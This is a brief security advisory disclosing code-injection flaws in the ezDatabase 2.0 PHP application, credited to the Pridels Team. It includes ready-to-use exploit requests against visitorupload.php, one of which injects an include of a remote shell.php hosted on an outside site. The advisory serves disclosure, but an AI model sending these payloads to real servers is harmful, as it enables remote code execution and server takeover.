ezDatabase20.txt

`ezDatabase 2.0 and below  
  
ezDatabase 2.0 and below  
=========================================  
www.ezdatabase.org  
"ezDatabase is the foundation for your online databases. It is a powerful web based application that allows even non-technical users to create online databases for their website. ezDatabase will do the hard work while you concentrate on building the databases you want."  
  
______________________________________________  
This vulnerability was first disclosed at:  
www.unsecured-systems.com/forum/  
By Pridels Team: pridels.blogspot.com  
  
______________________________________________  
Details:  
This application insecurely uses variables in several ways.  
Example:  
visitorupload.php?db_id=;phpinfo()  
visitorupload.php?db_id=;include(_GET[test])&test=http://www.unsecured-systems.com/forum/shell.php  
  
registered_globals = on OR off  
  
Solution:  
Rewrite the application to follow the guidelines of the PHP Security Consortium  
  
At this time there are several more vulnerabilites that have only been disclosed at:  
www.unsecured-systems.com/forum/  
`